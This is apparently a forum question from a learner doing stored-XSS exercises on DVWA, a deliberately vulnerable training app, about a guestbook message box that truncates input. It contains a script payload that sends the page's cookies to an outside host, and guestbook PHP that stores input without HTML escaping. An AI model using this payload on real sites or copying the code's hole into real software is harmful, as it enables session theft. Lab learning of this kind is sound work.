title: Message text area is not accepting more than a certain amount of words in website
body: <p>I am learning about xss exploitation with this web app called damn vulnerable web app found here <a href="http://www.dvwa.co.uk/" rel="nofollow">http://www.dvwa.co.uk/</a>
  which intentionally contains web vulnerabilities. </p>
  
  <p>I am trying to add javascript in to a message box like this see image</p>
  
  <p><a href="http://postimg.org/image/w6yeoj331/" rel="nofollow">http://postimg.org/image/w6yeoj331/</a></p>
  
  <p>It only accepts a certain amount of words and then doesn't allow more than that, which doesn't allow me to continue with the xss attack.
  I am trying to type this in the message box:</p>
  
  <pre><code>&lt;script&gt;new Image().src="http://192.168.1.14/cookie.php?"+document.cookie;&lt;/script&gt;
  </code></pre>
  
  <p>Here is the php script that deals with the message and name text areas </p>
  
  <pre><code>&lt;?php
  
      if(isset($_POST['btnSign']))
      {
  
         $message = trim($_POST['mtxMessage']);
         $name    = trim($_POST['txtName']);
  
         // Sanitize message input
         $message = stripslashes($message);
         $message = mysql_real_escape_string($message);
  
         // Sanitize name input
         $name = mysql_real_escape_string($name);
  
         $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
  
         $result = mysql_query($query) or die('&lt;pre&gt;' . mysql_error() . '&lt;/pre&gt;' );
  
      }
  
      ?&gt;
  </code></pre>